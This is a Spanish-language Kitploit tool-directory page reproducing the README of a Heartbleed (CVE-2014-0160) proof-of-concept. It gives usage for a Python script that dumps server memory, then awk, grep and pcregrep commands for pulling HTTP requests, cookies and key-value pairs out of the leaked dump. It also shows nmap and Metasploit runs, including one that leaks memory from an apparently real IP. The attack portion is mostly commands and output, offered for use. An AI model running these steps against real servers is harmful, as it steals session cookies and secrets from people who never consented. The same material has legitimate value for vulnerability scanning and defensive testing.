Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/sensepost/heartbleed-poc
Escáneres de VulnerabilidadesExplotaciónRecopilación de InformaciónSeguridad WebSeguridad de RedesPruebas de Penetración
GitHubsensepost/heartbleed-poc

heartbleed-poc

Prueba de la vulnerabilidad heartbeat de SSL (CVE-2014-0160)

Ver Repositorio
1708438hace 12 añosRevisado por Kitploit
Compartir

Probador y Exploit de HeartBleed

NB Casi todas las herramientas (nmap, metasploit, nessus, incluso burp) tienen las versiones más actualizadas de sus escáneres. Estas herramientas se lanzaron en las primeras etapas, cuando las herramientas aún se estaban desarrollando. Usa mejor aquellas en lugar de estas ahora.

Guía de herramientas

  • Si quieres escanear en masa, el script de NMAP es actualmente tu mejor opción.
  • Para la mayor cantidad de protocolos soportados (STARTTLS), revisa el script de Metasploit modificado
  • Si realmente quieres explotar, usa el script de Python (se requieren modificaciones para STARTTLS en no-SMTP)

Herramienta Python

Uso: heartbleed-poc.py server [options]

Prueba la vulnerabilidad de heartbeat SSL (CVE-2014-0160)

Opciones: -h, --help muestra este mensaje de ayuda y sale -p PORT, --port=PORT Puerto TCP a probar (por defecto: 443) -n NUM, --num=NUM Número de heartbeats a enviar si es vulnerable (define cuánta memoria obtienes) (por defecto: 1) -f FILE, --file=FILE Nombre del archivo donde escribir la memoria volcada (por defecto: dump.bin) -q, --quiet No mostrar el volcado de memoria -s, --starttls Comprobar STARTTLS (solo smtp por ahora)

Ejemplos

  • Escaneo normal, usará el puerto 443, con 1 iteración:

    python heartbleed-poc.py example.com

  • Escaneo con volcado de memoria, hará 100 peticiones y guardará la salida en el archivo binario dump.bin:

    python heartbleed-poc.py -n100 -f dump.bin example.com

Para asegurarte de obtener diferentes partes del HEAP, asegúrate de que el servidor esté ocupado; de lo contrario, terminarás con repetición tras repetición.

  • Comprueba un servidor de correo con STARTTLS (es decir, puerto 25):

    python heartbleed-poc.py -s -p 25 example.com

  • Antes existía una opción -v para hacer explícita la versión de TLS; ahora se autodetecta y se ha eliminado.

Encontrar lo bueno

El archivo binario tendrá salida jugosa; aquí tienes algunas formas sencillas de encontrar lo bueno:

  • Petición HTTP:

    awk '/[HPG][UEO][AST][DT ]/,/Connection/' dump.bin

  • Cookies:

    grep -a "^Cookie:" dump.bin

  • Pares clave-valor interesantes:

    pcregrep -ao "[A-Za-z0-9_-]+=[0-9a-zA-Z]+" dump.bin

Script NSE de NMAP

Uso:

nmap --script=ssl-heartbleed -p 443 <server>

Ejemplo de salida:

Starting Nmap 6.41SVN ( http://nmap.org ) at 2014-04-09 17:27 SAST
Nmap scan report for <example.org> (1.2.3.4)
Host is up (0.0068s latency).
PORT    STATE SERVICE
443/tcp open  https
| ssl-heartbleed: 
|   VULNERABLE:
|   The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. It allows for stealing information intended to be protected by SSL/TLS encryption.
|     State: VULNERABLE
|     Risk factor: High
|     Description:
|       OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for reading memory of systems protected by the vulnerable OpenSSL versions and could allow for disclosure of otherwise encrypted confidential information as well as the encryption keys themselves.
|       
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160
|       http://www.openssl.org/news/secadv_20140407.txt 
|_      http://cvedetails.com/cve/2014-0160/

Nmap done: 1 IP address (1 host up) scanned in 0.23 seconds

Módulo de Metasploit

msf > use auxiliary/scanner/ssl/openssl_heartbleed 
msf auxiliary(openssl_heartbleed) > show options

Module options (auxiliary/scanner/ssl/openssl_heartbleed):

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   RHOSTS                       yes       The target address range or CIDR identifier
   RPORT       443              yes       The target port
   STARTTLS    None             yes       Protocol to use with STARTTLS, None to avoid STARTTLS  (accepted: None, SMTP, IMAP, JABBER, POP3, FTP)
   THREADS     1                yes       The number of concurrent threads
   TLSVERSION  1.0              yes       TLS version to use (accepted: 1.0, 1.1, 1.2)

msf auxiliary(openssl_heartbleed) > set rhosts example.org
rhosts => example.org
msf auxiliary(openssl_heartbleed) > set STARTTLS FTP
STARTTLS => FTP
msf auxiliary(openssl_heartbleed) > set PORT 21
PORT => 21
msf auxiliary(openssl_heartbleed) > exploit

[*] 37.187.134.197:21 - Trying to start SSL via FTP
[*] 37.187.134.197:21 - Sending Client Hello...
[*] 37.187.134.197:21 - Sending Heartbeat...
[*] 37.187.134.197:21 - Heartbeat response, checking if there is data leaked...
[+] 37.187.134.197:21 - Heartbeat response with leak
[*] 37.187.134.197:21 - Printable info leaked: @SE F(CKMIWsf"!98532ED/A
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Descargar herramienta

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 El kit de herramientas OSINT definitivo: grafo de investigación, puntuación de confianza, familias de alias, mapa, línea de tiempo e informes. 49 módulos, más de 400 sitios, sin necesidad de claves API.

    546
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # Aplicación de Ejecución con un Solo Toque GhostLock (CVE-2026-43499)

    477
  • 3

    ARTEX

    baarai/artex

    Plataforma de pruebas de penetración autónoma multiagente basada en LLM con agentes planificadores/trabajadores, grafos de activos y de exploración, registro de tráfico MITM y reevaluación de vulnerabilidades.

    377
  • 4

    redforge

    cybersecurity91/redforge

    Kit de herramientas de red team del lado del navegador con 102 herramientas offline para reconocimiento, generación de payloads, ataques de credenciales, criptografía, codificación y elaboración de informes de compromiso.

    324
  • 5

    estorides

    grisuno/estorides

    Agrega más de 99 fuentes OSINT gratuitas en paralelo, resuelve entidades en un grafo de conocimiento y exporta STIX 2.1, MISP o GraphML con análisis asistido por LLM.

    269
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    El sistema de acción para la ciberseguridad nativa de IA—donde la intención se convierte en ejecución gobernada, la evidencia se convierte en memoria operativa y cada operación mejora la siguiente.

    252

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →